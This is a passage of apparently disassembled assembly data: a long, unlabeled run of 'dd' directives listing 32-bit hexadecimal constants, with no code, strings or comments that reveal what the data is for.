2E6D9DB4h, 0E8861875h, 0D349C706h, 4CE4D16Ah, 191A60CDh dd 955F0140h, 0C7D03A5Bh, 0F14011Ch, 2D3F6D68h, 80472C42h dd 829ED717h, 0ADC917AEh, 702E8B4h, 47D48170h, 1AE7294h dd 323C92B4h, 0D7A76842h, 8B80CDFDh, 2CD0DAAAh, 63442500h dd 8A24CAF0h, 4FC2B789h, 0BF37D85Dh, 1A6461CDh, 0BBF3EF65h dd 5925324h, 0C75F4DABh, 48784931h, 0D857FB97h, 2AFCCF22h dd 67E90E08h, 0A5BD8501h, 8974AE0Ch, 0A200EEB2h, 7C883645h dd 524B3922h, 0B5F827CCh, 0BD0B85F3h, 0E112EB11h, 0E26B2571h dd 0D0BA9D8Bh, 80C40612h, 24AE2909h, 1AA6AE73h, 2F2F3518h dd 0F54F0446h, 670FB4ACh, 34496C08h, 2A1420C9h, 0AB87FCh dd 5A73E43Fh, 27C50970h, 1C10195Dh, 0C00EA1B8h, 813D11D7h dd 0EA6E8A53h, 207DF888h, 17416801h, 0C82F5C57h, 93009A92h dd 0D35AECBDh, 928BCB15h, 14BE093Fh, 0AE6D5C48h, 0F78CB5C0h dd 0EA520431h, 0A3490872h, 2A484802h, 497BA2Dh, 0F7B9189Ah dd 391C5FD6h, 8A905B84h, 0C14BEBFCh, 0F80C81CFh, 5EF66158h dd 4925DC76h, 8E038A75h, 7686DCh, 7096802Bh, 6FF1D0F5h dd 0B0B552EAh, 2EF9B709h, 0DE2C615Fh, 9802D4F8h, 0E695FDA3h dd 838277BCh, 55E1C30h, 25953158h, 0C2712F39h, 0F92D51CEh dd 0CF8B2A71h, 9DE4D565h, 70F59D95h, 0F95ABD89h, 0A3EC10B9h dd 0F5E9CB00h, 8189788Fh, 2F7B09D7h, 0CD714D46h, 0EF042142h dd 0D126030h, 54147B11h, 0B1CC78B7h, 3D2D03F2h, 0E30B94E8h dd 0F6931DB6h, 4006C4E8h, 144BCF4Fh, 0A0634AECh, 0B88B0201h dd 59C88061h, 451213EDh, 89199E27h, 79BBC033h, 1A099D8Eh dd 0BD9D5658h, 28D9E16h, 0FFA73326h, 0CE80E9D1h, 0B1141E2Fh dd 35EF802h, 1555FA45h, 93D067FDh, 38B68D0Fh, 0BF3F992h dd 4F2344h, 0E698A1E0h, 67661CD9h, 8688900Eh, 0FF973ED6h dd 1658E4F9h, 3C9EBD3h, 2E71EA2Ah, 0A22A79B3h, 21A950E1h dd 0AAF2015Fh, 5BA3BB82h, 0A052D97Dh, 0B47EB594h, 79051FF4h dd 0B3704094h, 613E31Fh, 95F4C697h, 91DD8F62h, 0E93A7D2Fh dd 52D8E870h, 854AC2ACh, 27F4FBBAh, 0CB55499Dh, 97E8FD4Bh dd 0A887F081h, 0A95BF62Ch, 0E3EAC025h, 0E84E2Ch, 5598460Bh dd 90B89FABh, 5B739304h, 0E9B86242h, 112B2E55h, 0CDBC97B8h dd 0C2489405h, 52FF5E0Fh, 0ADA230h, 0C71332DCh, 17FB3D0h dd 0BCDB1E4Ch, 0C59582EFh, 88A6444Eh, 18975B96h, 2DBD31D6h dd 4C731145h, 0F10A239Fh, 0F849B928h, 4E44B034h, 0EC75BFC5h dd 7087F88Ch, 59330057h, 0E1B1C535h, 0B0003E0h, 652E2753h dd 5E9642C7h, 0E84D34C2h, 10D91060h, 4991313Eh, 96E85A01h dd 0C154BDC0h, 3B002DF8h, 922E4A38h, 2519E658h, 0BEF1D6C9h dd 0A8010A11h, 76821620h, 82542F17h, 3E895E7Bh, 686607Fh dd 550187CDh, 78194710h, 413FFE8Ah, 5D95895Dh, 7D5D34h dd 0E159774Fh, 0B9CDF800h, 0A768F324h, 42B04DAh, 0B8B82A86h dd 0BAB2D2DAh, 10A52C88h, 70C0F49Ah, 71E25CA0h, 0FFFD5D00h dd 968C2367h, 0A1E1BB02h, 0FD506127h, 0C7600099h, 26E2ACD4h dd 0F0026D96h, 5D765A99h, 7FF867FBh, 1B191378h, 2567A856h dd 926D565Fh, 0B0A8F7B5h, 0B8A0E97h, 0CCF348DBh, 986E1AD7h dd 7B1432Bh, 96F2A397h, 59DF40B2h, 0E9071F39h, 8A668991h dd 932177E2h, 60D8D073h, 7F4448B3h, 1309FF4Eh, 0E7CD7761h dd 2716DB49h, 0D9C407DDh, 0C57113E3h, 0CFBAB4h, 9AA37FB0h dd 40D14718h, 3FF4D504h, 4BA9CAEh, 0B83A12CBh, 2B3FA264h dd 9CBD654h, 254F5C70h, 6D8955Bh, 0E49FD3h, 0D4F6B31Fh dd 36B4CF01h, 0B26F2B99h, 40CB4AA3h, 0E954B702h, 0EDF6F446h dd 0CDE4B512h, 0D7C1508Bh, 0ED215ECDh, 6928D8E1h, 6B908114h dd 0D19482B8h, 44588A3Eh, 2BCAE592h, 0EF4FDAE3h, 7D90F462h dd 0EFC052CDh, 29E5CC9h, 2594A8F9h, 925D98FCh, 0C57255FFh dd 1C0E5100h, 0DEC781ADh, 15DB172Dh, 32E2835Fh, 6A70ED73h dd 42A7F99Fh, 2F5C258Dh, 138CB42h, 2EDBE780h, 0CF811000h dd 12689289h, 54609006h, 566FDD9Fh, 0E73BE633h, 0BDA7D1A0h dd 0C42A5ED8h, 6EDCF14Ah, 0FDBCCEEDh, 50282712h, 6D47AAFh dd 0AC2B62C9h, 0F3BA16E4h, 5BEFE075h, 6661CE25h, 25BFF8E3h dd 335F50E2h, 4416F41Ah, 0ACBEEDCAh, 5A61A3BBh, 0F025B670h dd 9F19B5A3h, 5A445AE2h, 0EF700260h, 7290F531h, 8D379550h dd 5406F400h, 13437F90h, 0F87DF8F1h, 0BA957150h, 2DB050C5h dd 2659EDE9h, 538D5C2h, 21C381F9h, 0E0F72F10h, 95064C58h dd 0CE3E8311h, 2830BF0h, 0CCD0BBC0h, 0E8DD3FC0h, 1035BF84h dd 7276F21Fh, 4EE8834Ah, 9B5AB1D5h, 0DBA696FAh, 155825Fh dd 7F397B0Ah, 92955EF8h, 0F415D44Dh, 0BBA32E09h, 0E07B5737h dd 59C28A09h, 0B7D5AD6Ch, 5DF2D6Ah, 60BC60B9h, 4AD57680h dd 119028D9h, 9A65EE78h, 4BBE9DA8h, 4E7761E5h, 0E06E8712h dd 487E8E85h, 0C1B53112h, 0EB0994AFh, 71316Eh, 88D96AF0h dd 0CE791F89h, 40AC824Ah, 2F0BC910h, 2012FF5Fh, 9C629462h dd 0D85BDBDFh, 0E92FF2DCh, 0C4516Eh, 0A28AAFA3h, 824A6296h dd 8A25A4D8h, 0B5A6078h, 591073B3h, 29608F2Ch, 4A44F5D7h dd 618CB604h, 8E8171E4h, 322B2239h, 3121F9A6h, 7DC62985h dd 9D0455D9h, 510B2EFDh, 20C50982h, 6BEC550Bh, 7029992Ch dd 0F65D51C5h, 0CBFEE8D8h, 0FC6A12C3h, 578DB07Dh, 0D03ABF02h dd 565B07F4h, 0EA5888Eh, 4D18D14Ah, 7FE0B747h, 2F6EB5E9h dd 0C35B61Fh, 7F3D1600h, 0FE3F6596h, 49A60BF1h, 0D8E41C4h dd 44024EAEh, 88D1D98Ah, 4618F300h, 120CC2DFh, 0AAECCA48h dd 7D9D8C42h, 97B0D52Ah, 4E8C21CDh, 5E6BA71Bh, 7DB014ECh dd 10B74BE9h, 9D2D315Eh, 0E988AF53h, 0E839800Dh, 1F44114Ch dd 0DE630A01h, 0E9B783ADh, 24CB222Bh, 8C2B8111h, 0B295FE45h dd 0FB5D50D1h, 82A41004h, 3AA1F193h, 0B3824DEDh, 666D07FEh dd 3DC087E0h, 0B0CD12F9h, 9D3D05EDh, 0F8EE9361h, 0C1EF6AAAh dd 56C66C42h, 0BDDD2FE2h, 0F72A0171h, 0C8B017EFh, 6409A48Bh dd 2B7FB994h, 0A542D121h, 375FDD42h, 963700F9h, 3DAB63EDh dd 7017622Dh, 1F75200Fh, 10C02B27h, 0A56D3Bh, 504DB0EDh dd 0F483FCB6h, 44F0FD02h, 4699AD4Ch, 0B537032Ah, 70EC3325h dd 2FF0AED0h, 27972048h, 8837D2h, 0DFC88E27h, 8C09F5D4h dd 0FE8F48B7h, 4E0681Fh, 0EA9FB2F3h, 19A2DB8Ah, 931D530h dd 0ECE74BA0h, 1F691882h, 5F0DBD22h, 0DDF99D91h, 0E0577788h dd 0A3BC2AA2h, 0F7208AC0h, 0D62F3465h, 3DB5611Bh, 1AB77F18h dd 0C57FAF5Ah, 0C19EB400h, 0C8F1B362h, 0D5364804h, 2FAEDA8Ah dd 539A5A3Dh, 4C14EB80h, 3865B29Dh, 0B06201D8h, 0DF475524h dd 8B0E7A11h, 0E713B8D8h, 9B83B0CEh, 8AAA015Bh, 9253685Fh dd 3AFEC58Bh, 1DB2BAA6h, 0A55B130h, 87715A9Ah, 0C6400983h dd 694064DCh, 3778DD9h, 36FE765Bh, 2FA72C73h, 4180150Bh dd 5F8248CFh, 0DFE1FF25h, 8788A61Ch, 0EB9B040Ah, 559FE189h dd 9E04C378h, 0C81AE002h, 8A35EB8h, 8F493B76h, 0F9F9932Fh dd 4BF97950h, 226A8E16h, 0A3BB3FB3h, 0BB419E97h, 0AF9261DBh dd 0B6CA2B5h, 0A341AE8Fh, 2ECAD25Bh, 0C6C87613h, 0BB7A00D8h dd 2302730Ch, 961CF139h, 0E6810BF7h, 0AB3A598Eh, 0E66A122Eh dd 0E816E05Bh, 0A98D02A3h dd 63366E1Eh, 0F200AA71h, 50F47834h, 0E71500F7h, 61A8BC46h dd 2397E06Fh, 8501186Dh, 0F5B7E6AFh, 0FAB0C8ABh, 4E0CE828h dd 13836900h, 14BD4BA6h, 2534FA6Eh, 0E3D05B62h, 0E9ED165Eh dd 27A27BDh, 0A8F78D59h, 0B18DE12h, 0DF7CC1BDh, 0E733DD6Bh dd 0BCBF50C0h, 146E0212h, 2A7458EAh, 952529D8h, 71E45DA9h dd 0DF0E680Ah, 890994B3h, 9914E421h, 0BCD18035h, 6DF99D3Dh dd 121CC0B8h, 5E9DA1ECh, 0C013B94Bh, 13E0BF67h, 0FE2C36AAh dd 93F1D623h, 54F5D26Bh, 3F7C699Ch, 0A572C960h, 3AC60F3Ch dd 39003282h, 0AB0340AFh, 1870F11h, 0AF5BF813h, 1A41C598h dd 25CDE923h, 0D372EAF3h, 40B02AD6h, 0CD4BB710h, 0B757238Ch dd 0E21F0781h, 0ED0A825Bh, 5C5046A8h, 0FA016523h, 9A20D9A5h dd 2DC996FDh, 2DDE35D7h, 0C103974Ch, 0DA160879h, 0E55A25F4h dd 6D9570F8h, 601B6466h, 95CAC8B3h, 0F592545Eh, 0EEEC9A17h dd 84239A0h, 0CE0998E6h, 6D0689B3h, 5E8EC092h, 3F0357DCh dd 36F466EBh, 11D212D9h, 7B993908h, 3B00C76Ah, 9BDEE982h dd 1627BC14h, 61AB5466h, 2E1185h, 9D525096h, 306B7210h dd 0DAE26904h, 0F2EF8718h, 57A200E3h, 0B031C5B5h, 205B5A21h dd 79BB66A1h, 3796C927h, 6E230340h, 0A4251EA1h, 96FAC4DAh dd 0DC9DDE68h, 0BDB300D6h, 4C264A68h, 21C86C4Fh, 2B7000CCh dd 14E77DAh, 453DEDF8h, 0E4804BF7h, 495325B5h, 1B25646Ch dd 88B0B4CEh, 46107927h, 0EB8DA88Eh, 5BDD254Eh, 0A246335Fh dd 1162C061h, 48C79525h, 513E09A5h, 0B4A4774h, 58D0EDD3h dd 0CD01023Dh, 2AA19D29h, 0A6FC797Fh, 2604DE8Dh, 0E24713B2h dd 0A4703BAEh, 34A822EDh, 73596175h, 2527BC58h, 1B582EB4h dd 48EB8039h, 22B5761Bh, 55C185AEh, 0EA9AC467h, 9E37FF6Ch dd 16DA5189h, 54C06B23h, 3178AC7Bh, 0E76D045Dh, 0C89D89AEh dd 4C95561Dh, 0B5C0B010h, 0BF50DC74h, 571B120Dh, 0AC93B97Eh dd 13098C19h, 8AB0F9D6h, 5325AC37h, 181C59EDh, 1B7B001Eh dd 0CA63D6EDh, 0FBBE3AB5h, 0F48E5B40h, 0FA81259Eh, 0F900FFF6h dd 3520DD2Bh, 12A6FA56h, 0AE1B36D6h, 4A981166h, 4895EC50h dd 0B2754628h, 9DDAD7E4h, 411E78B5h, 0AB206B18h, 4AEB283h dd 57D7D639h, 328AAA5Bh, 35BF7DA0h, 20C6C712h, 0ADD3CDB9h dd 909DA82Fh, 0A2DD9674h, 1C7BBDD5h, 9870E4DAh, 6E769F13h dd 8213D76Eh, 2D6ED9EEh, 9848457h, 6280935Dh, 935CFABCh dd 55B50905h, 20502405h, 1B6FEAh, 0CE661514h, 1240B4B1h dd 0E3FC359Eh, 70994C7Bh, 7995744Bh, 0C4A1AFF7h, 8A3AA019h dd 0D4187E95h, 0FFA77B93h, 3077F90Bh, 17B9CB5Ch, 0C453CCBEh dd 35B7FF23h, 0EC083FA0h, 4059DCBDh, 0CEB4DB81h, 505C6804h dd 9C94C1B7h, 6E020F6h, 8700B5C9h, 31AD340Dh, 9DF59D0Bh dd 0F19FCE58h, 398EECF0h, 98560140h, 0BD520D5h, 3DBB5B4Ah dd 199DEC7Bh, 7596C5C9h, 50F429C6h, 27FFFBBDh, 62A5CED1h dd 0E0E96DE9h, 0B7215B68h, 4B7679B5h, 1A45B1F0h, 6200E963h dd 0E90A2D41h, 0AC0E1F96h, 80D438D5h, 0FEC317B8h, 31480BF9h dd 3DE45BBDh, 53BFF10Fh, 0A7B1021Bh, 9AD95558h, 0CED098A0h dd 21ADE1AAh, 9784AF14h, 549C38AAh, 45F43389h, 0FCFB9F34h dd 9F114E7Ah, 109FA5Ch, 0F4B2FEC6h, 0F8BE7916h, 9D32614h dd 575F029Ah, 0A0A57C65h, 0B6417DC0h, 4CE20BF3h, 0C4FD8F93h dd 0E0589FD3h, 613CB702h, 5550E95Bh, 3DC2A28Bh, 0C1966674h dd 348043DBh, 53B26601h, 78DF7C00h, 8D09F2F9h, 0BA1C5BEDh dd 6A3B6B29h, 0EEA24AC4h, 26BF5001h, 283B9956h, 0FA65B7Bh dd 115843E0h, 0DCE7801Ah, 0A48D5742h, 0A7AE840Ah, 0B8AEFF48h dd 0BCC38E01h, 31B522E5h, 56E9FF8Dh, 7E8D6153h, 0F35FC992h dd 2B82D091h, 7B77BF0Bh, 91940B7h, 17654F9Dh, 699AAB14h dd 862A9896h, 0E43D0D00h, 0E3811579h, 8A561277h, 0AC21AD18h dd 0B9098C17h, 3EED422h, 2D0FB5B8h, 0FBC4D1B1h, 1A7ED000h dd 3D7AA206h, 5930007Bh, 0D5DDBE84h, 0A348C5EFh, 9E9E74E8h dd 7AE25B12h, 6D5BC389h, 128F7CD8h, 0EB52B019h, 225F3C83h dd 0C49F1F56h, 66970026h, 821518F8h, 7A1CC333h, 9A801B74h dd 7E16E63h, 91D2DCBh, 0FA422855h, 60B90213h, 4FA12FB9h dd 182D2141h, 0ABF45002h, 5F86B501h, 7C6E5690h, 34C25F16h dd 74958DBBh, 5401DE13h, 66265235h, 1BE0A259h, 0BD290955h dd 94FF0B9Dh, 0E9DE12E7h, 89DCE3BFh, 559E09B1h, 49803537h dd 2ED5B228h, 47DE49ABh, 0D401B8BCh, 0B501692Ch, 0C40407C9h dd 0FB94BE2Eh, 0A5EEA6BBh, 0DB0093F6h, 663103A6h, 4EBE9AA2h dd 902E0F10h, 12791D1Fh, 4BD8AEF8h, 33F121B5h, 0D1850960h dd 23519D02h, 0BF0FE74Eh, 0DFB56BAFh, 0F5025E62h, 66556983h dd 28C30068h, 97ED427Ch, 3502B7EFh, 0F05B2953h, 0D0274032h dd 0BB314EA3h, 403AE767h, 75F58D0Ch, 33D995B0h, 16921480h dd 904AB1CCh, 265520D0h, 70E65F18h, 332DB5Ah, 8971E4D2h dd 5D58019Dh, 9C6A1DD7h, 4BE47612h, 850188C3h, 97107921h dd 3119F060h, 97581640h, 58A7D9F9h, 604F98FEh, 32EF7260h dd 953A2313h, 0D8FCCF85h, 518A76D8h, 0C24F5325h, 4010564Bh dd 6B49077Fh, 1B426A00h, 2BFCAF4Ah, 20BD90C8h, 8B273379h dd 34D4D0D1h, 0EF396CE9h, 324C9C0Eh, 8603B30Bh, 25BD2B22h dd 33C2FBBFh, 0D56E21CBh, 28FF1312h, 90A12BCFh, 3CE90122h dd 4FB31789h, 0D8A72071h, 2D23B4EDh, 807CB857h, 0FD8E4FCBh dd 9820D6B4h, 34EAD2BBh, 10D637F2h, 7912DC5Ah, 0C98AAE2Ch dd 7AFEC417h, 539E0774h, 62FD6AC8h, 5675923Ah, 8F005D71h dd 0E71EC012h, 86EC0089h, 10B81F42h, 0C101F0A0h, 5614257Ch dd 0AD3B5FF5h, 0ABBCDFh, 41FF4786h, 34F26920h, 498874BDh dd 53933859h, 0DE6AC40h, 0BC05B95Fh, 0AD4D2FACh, 22CA5EC0h dd 0A6603A87h, 0ECEAA9CAh, 9B7F0298h, 0D43AE8C7h, 0D40DCD4h dd 2C47D2Ah, 0E37094B5h, 5A41CEB2h, 439B2FC0h, 0EC34AA97h dd 841ED81h, 0C01FB83Ah, 7399AED2h, 3EB7EF9h, 0F60D09C8h dd 0EEED2BBEh, 3C1F886Eh, 9407C94Dh, 67D79729h, 719D8B53h dd 18588029h, 1AB3DB7h, 734F8552h, 31123ED7h, 4BB3C0CCh dd 52078CA3h, 0FE5BF82Dh, 0B4027D38h, 605BB98Ah, 0B529D97Ah dd 0C647D24Fh, 5C0EC7C0h, 127B4F3Ah, 8E00B218h, 0C5B91673h dd 94F3BE8h, 0A64A98A8h, 61EF5B71h, 6A0B15E6h, 0B5513DDCh dd 71280090h, 0A501E500h, 0A360AAC9h, 0F0760185h, 417EB947h dd 2B39F5B1h, 5AB9E116h, 0A32518B8h, 9F9657Dh, 3D570468h dd 0F14B007Fh, 0AADC6310h, 0C68D655Ah, 4E11282Bh, 66D9BB89h dd 46558A5h, 0CF04060Bh, 1F414071h, 0B52C9DA1h, 542492B7h dd 986900DEh, 6F0B8F1Eh, 6AB5F86Ah, 547C06Ah, 736D9503h dd 0D6621644h, 0FE63D3E2h, 46552C8Ah, 0FE2D4AEDh, 0D883F99Eh dd 0EBF0503Ah, 2212DE59h, 48A35F36h, 49B53105h, 0E671EF16h dd 34C5BD89h, 0A553EC6Ah, 38E86ABBh, 53609290h, 4000BEA2h dd 81EEE5FCh, 5F5F68AAh, 78EAE6h, 0F8176773h, 0E3B63133h dd 0EA161800h, 0AAA83F9Eh, 55BF0566h, 0AF905F01h, 0FE00F56Eh dd 3F0FBF99h, 44C369EDh, 0D3CBE668h, 455E12DAh, 19FAB0BBh dd 255F3817h, 0C8BAFAC4h, 54B5E903h, 3B00F4AEh, 4D3DECCEh dd 5E9D337Bh, 0FEA51329h, 994A736Bh, 3A97F7Fh, 74FFF340h dd 0DEED5929h, 0ECC05A78h dd 2A129333h, 0EED22EA9h, 1B12512h, 74E01F37h, 70253185h dd 6A1E1086h, 54561CD5h, 941A84A0h, 5B23B86Fh, 66EC52EDh dd 0BF802A91h, 75BA8D1Ah, 9A0F4BC1h, 0C818C824h, 13CD1682h dd 20DFB038h, 0A5415995h, 3B508B73h, 9D0B0998h, 0A57B2BA1h dd 0F6181779h, 0F3760612h, 2415D704h, 402BA8A5h, 1A2B30Eh dd 5A9FA9B5h, 1C829518h, 14532434h, 2AA4570h, 1E6D034h dd 0F1562920h, 11946DCh, 0B51A5711h, 0CD3E810Ah, 298642C1h dd 0C4442ED5h, 68003449h, 2DFB22D5h, 4A27F897h, 2AF6C0CAh dd 0BFF6E421h, 2EACDDF3h, 0E8D26DECh, 0CF330BDDh, 2F06FE90h dd 4C9C107Dh, 807C2D06h, 0D34D9690h, 0AD00B677h, 5B187289h dd 9513820Fh, 8080787Bh, 0A2FB393Dh, 0B3C0005Dh, 89AE426Fh dd 614A5E35h, 67BD12FAh, 0D9F88719h, 7193A5B7h, 680037A2h dd 153C8254h, 6401D95Eh, 0E1CA476Bh, 0FDCA164Bh, 1E7F0AABh dd 5043BBB7h, 7D12FDFBh, 0E2AEA20Dh, 0E7800908h, 475359C1h dd 4F6082Bh, 4CECCF9Ah, 0C4B4FBF5h, 81953B29h, 0F246BBC3h dd 3975CCF2h, 217A5519h, 2E62B475h, 0B56A3428h, 0F8F45476h dd 0E1D2F33h, 2D607354h, 0F0C799DAh, 83E299F5h, 0DEE3FC96h dd 0BDBC51F8h, 0DBFDAF52h, 0A6BA8460h, 7D97E16Eh, 847F2A2Bh dd 8BC5514Ch, 5B27FFEDh, 0D97D4842h, 6BA025h, 0FD62118h dd 0D1D8DA22h, 71C4534Ah, 0A0D7A7BBh, 0B7B9D473h, 6A2DBCE1h dd 887DCEDDh, 0EE01D8B8h, 0EAE3A87Eh, 812ACA39h, 1311576h dd 61E8E680h, 880F1896h, 5F503B02h, 38C7BE5h, 21D300BBh dd 23963B20h, 699FF9BDh, 1B4185E6h, 6B7FD98Bh, 31C23F3h dd 2DA2EB8Bh, 43F7DE88h, 22BBA902h, 5C4D1C16h, 38FC6B4Ah dd 3D95BA22h, 5BB08179h, 3B0BAB69h, 75AA8D84h, 0B09ABFF7h dd 2C311AC9h, 64A0FCC4h, 0D430C012h, 0FC5ECCA2h, 0F69DF0B0h dd 488F48Eh, 0F3B62F9h, 3EBE8986h, 0FC3EC089h, 0D917B041h dd 231607B3h, 195F5D6Dh, 91D23575h, 0FAEC801Dh, 0C1A416h dd 0D6B7A28h, 0E238BBD0h, 0C21AB625h, 0E00DCD9Dh, 9FC563C7h dd 1BAD25Eh, 7D958940h, 52E87A28h, 45C1D096h, 0F6004E12h dd 140D6779h, 0B02B9E3Eh, 38F7952Ch, 2FC0305h, 0AA54B0DEh dd 0BE5CE3CDh, 0D0097769h, 14D53B0Bh, 0A8A21C11h, 0B6730097h dd 17783EDh, 35304701h, 9BFCEE66h, 9D29986Bh, 15BB314Bh dd 5CE81065h, 5B4A5F1Ch, 0F8926A44h, 9C802CACh, 77E13E01h dd 0D2949F0Bh, 39CAFD7Dh, 201975C0h, 0EAC45E82h, 1B312F8Dh dd 5F2CAF9Dh, 268A2EB0h, 60A5AE02h, 0E037BD94h, 1339C4FDh dd 0AA83F19Ch, 0C059A854h, 55B60BF8h, 1FF500F9h, 15E92B35h dd 601FC899h, 0F0C5A291h, 3A81F202h, 0F62AC523h, 321AE265h dd 0AF54F155h, 284AACF0h, 15BC08B9h, 40BD258Ch, 1211F0C5h dd 958D8904h, 5250450Eh, 0B05B8FC3h, 2D64B6BBh, 965B7F58h dd 90D7188h, 99734AB7h, 617ED8Ah, 5E25810Bh, 0D07F5A13h dd 694DB5A1h, 32601D64h, 1000D0EEh, 0B9A621C8h, 7E6695CFh dd 8AB54BBBh, 3D4222C8h, 5889E381h, 31027113h, 0CE5C16E1h dd 0BDEDBEBh, 757BC6FEh, 7B126D0h, 1549099Ch, 0C8ACF279h dd 0F58B65Ch, 0AD124E83h, 2D72C3C5h, 538D887Dh, 899D2C0Bh dd 0E95F85D3h, 9DDEBF1Bh, 8C3E12C0h, 193C50B6h, 10064883h dd 8B042639h, 0B84EB7C1h, 90F9C1AEh, 13202DB3h, 0B223ED5Bh dd 14227901h, 0E82AAEA5h, 7201A082h, 0BB5D9F36h, 0A09A4AB9h dd 5BCD06F5h, 16BE8CE5h, 850C9044h, 0FF4F57CBh, 4E1F066Fh dd 806F412Dh, 2EDC922Ah, 8B50C405h, 0E280D8B1h, 69080EBBh dd 31610F65h, 0A8B0BF12h, 71077BC9h, 2EDDC41Ah, 0AC7A22A1h dd 603EFD06h, 2CF14FA6h, 79365402h, 5E8AFB8Bh, 95CA221Ch dd 0E4BFCB91h, 4F4A7EF7h, 342BDDE1h, 4AAFFCDBh, 9877B7CDh dd 172C2110h, 5C8D1FFh, 0A3F100BCh, 87D56564h, 0F84B8AEDh dd 93B29312h, 2415488h, 0E42C03B7h, 0A50DA18h, 0D35FE3BFh dd 1CAD8DF9h, 0CC011ED0h, 0AEA485B9h, 0C96B633Bh, 0C3FAD812h dd 308B7300h, 2D774FC9h, 0C573B5F0h, 4206D88h, 0AE37E95Bh dd 8257003Ch, 126A375Fh, 0D17F3003h, 0A226B0DCh, 6500E574h dd 0BD4EBBACh, 4B3472B9h, 39089DDDh, 2B0A805h, 0EFFFB531h dd 95798BCFh, 0CDBE9017h, 934AE497h, 5CCD6D00h, 0EABC68A2h dd 1D3D083Ch, 5104C628h, 10BBE1B3h, 8048DAB8h, 0FF017113h dd 0DB3B457Dh, 4AC182E9h, 28D9F50Dh, 68FC2317h, 0B469F84Fh dd 29A86CFDh, 4113F407h, 8D27FEECh, 67B86A44h, 6C7BEF5Fh dd 0EDAF321Ch, 10E71C5Dh, 8B15859Dh, 0C9760F53h, 165D7129h dd 0BD73EA60h, 610BCCA5h, 0F1885154h, 52E8C427h, 34895AB1h dd 4CD71F81h, 0E5BD13B3h, 60D12230h, 0B5127D4Eh, 5AE31C59h dd 0B5DFCF50h, 6A9D2F49h, 0BD0833B9h, 68251E49h, 840D3554h dd 7D6942B0h, 0A7A980A3h, 0A196E97Fh, 0C33F8535h, 0FAB249E2h dd 797DA062h, 0D84D00D3h, 585901Ah, 1C4BB701h, 1F288C78h dd 77804B6Ch, 143C73C6h, 42CAEF37h, 98576908h, 1354C35h dd 583351DAh, 0C59509A1h, 71E27F2Ch, 0D89AAD2h, 0D4FD0C95h dd 0F839E913h, 250CA6B2h, 0B25B1719h, 5B8C64A5h, 1210B31Eh dd 8EE68036h, 140BE84Ah, 42A03117h, 5B8A2589h, 0DA2F889Ah dd 4F09A748h, 49240E83h, 80247326h, 2FEF8057h, 9F38B95Bh dd 0D9A65B0Fh, 2A359CF0h, 5382F500h, 967DDCCCh, 5CC790F8h dd 259E79BDh, 5B6D2EC2h, 50844BE0h, 0B91B2CE7h, 33722555h dd 35BBFC00h, 2B51399Fh, 9D290BC0h, 0E7D5345Dh, 0D819C51Bh dd 402528F7h, 2721F402h, 4015D61h, 1BF9A505h, 9D7588B4h dd 0BBD87A74h, 0FA6F13FFh, 17F044Eh, 0B80CB935h, 0D008C1Dh dd 522869C6h, 1918DFBh, 0F781D9A5h, 3E215CBCh, 3D50EFA6h dd 0A8084AB5h, 0DC8FA33Bh, 0DB815640h, 6E129575h, 23E25F2Eh dd 0DBC6D4B4h, 0AB69C132h, 0B471C1F3h, 35FD282Ah, 8FC6558Ah dd 3D852909h, 12E75B05h, 63CDEBF8h, 0C417E87Ah, 810017B1h dd 0C52DC4EFh, 0E1FF3612h, 2562E6ABh, 8BF65F9h, 867C050Ch dd 0C9831F70h, 942DD8A8h, 58B83ADBh, 94956EF2h, 0BFF244BFh dd 7B30BA08h, 4AA580Eh, 7DDACE93h, 0B9E76A80h, 0D8712BDEh dd 6FC73F4Fh, 29562F08h, 0B8BE3960h, 92D33DA9h, 2CB68002h dd 0FF606053h, 665EC3B7h, 208D28A4h, 2BEF16E9h, 2DBFC400h dd 951B3881h, 226DC389h, 0F5D47BC1h, 0A547B87Eh, 25416AABh dd 0FB6D570Fh, 27955627h, 0FCC907F6h, 0F74A40FBh, 0DE096A8Fh dd 6BA4F56h, 4CF3C1FDh, 0AF5BBC5Fh, 605A1D6Ah, 0DCF3D8FAh dd 0C1D2DA29h, 9BC5D80h, 46CB2A9h, 0E04DC077h, 0A50F8BFh dd 1690FBA4h, 0B54E4384h, 5042DCFEh, 285152h, 0FA8CA1Ch dd 387E3FC4h, 0AE5B6B8Fh, 0C014E6Fh, 0E738CECFh, 4DF56EB3h dd 0EFC0251Ah, 27A8528Fh, 0F3BBED00h, 2B1AFD15h, 44D2B59Dh dd 0F1BE6805h, 0A4BB0BD9h, 0F23C4158h, 0CC4DEC6h, 839E2AFBh dd 80AE9BC8h, 730A68E0h, 900C90C6h, 7E52520h, 5BA708C5h dd 38C85030h, 0AB09517Eh, 86839B0Bh, 1CB7ADCAh, 2D0231E9h dd 0E678F453h, 4EFE728Ch, 82EBA9F9h, 7C105195h, 315849EFh dd 0F405FC97h, 6494DB2Ch, 2105BD04h, 9320A2BBh, 908047DAh dd 0FF2348ABh, 0CE9C0D24h, 249D850Bh, 0A6BB5F57h, 15091024h dd 0E7FA8469h, 0D42B74B5h, 0C2471759h, 0CA712079h, 93645B69h dd 0EDC7EB91h, 7D672BAh dd 5BA0A118h, 0BF865F9h, 6E775DFEh, 5B89FE26h, 0DE6EAA46h dd 0F3016B00h, 17A159B7h, 0FC2D8218h, 8225696Ah, 1D518BC0h dd 2D8844B7h, 488B14A2h, 62701C53h, 457002C6h, 313EE4DCh dd 7621E457h, 0A53ABC01h, 15644D6Dh, 6EE00372h, 750FD2E8h dd 9FEA682Ch, 0A7A19F96h, 1511012Fh, 2660DDB2h, 9CEAF5D0h dd 0BD2F23DBh, 7B38D709h, 55299589h, 0BB04A308h, 0E7EF7D87h dd 3778A0C4h, 7D250077h, 0FF8C3DA5h, 739DF53Ch, 181B5957h dd 9E77172Ah, 7F85BA22h, 9F61D2B0h, 0B312D937h, 0DAD761E3h dd 8BB28FCAh, 0EBCFF86h, 4F8B59Dh, 8C32E962h, 2D5AF9DBh dd 640998h, 1720AF19h, 0D6C09A3Bh, 6C059812h, 50AE63E3h dd 0FA4E8A75h, 3EB2B212h, 0A797DD8Eh, 0BEC3A429h, 0BFC1ECEBh dd 0CE6A01EDh, 56AB34DDh, 0D6A6DBABh, 0AF9635ABh, 0C106DA1Ah dd 14E5BDBFh, 81CFDF79h, 45C4A9CEh, 7198EA6Ch, 1AE823BFh dd 72495316h, 0AFF05B5Bh, 0B5425D4Dh, 40FCD68Fh, 10042D63h dd 880F1C00h, 0BB59816Fh, 5BF300E5h, 4328B0C2h, 9650D768h dd 79E950CCh, 0BE21B83Bh, 861E27Dh, 0AFE94555h, 6B005D35h dd 0EF89B81Eh, 92280CA9h, 0A56281C2h, 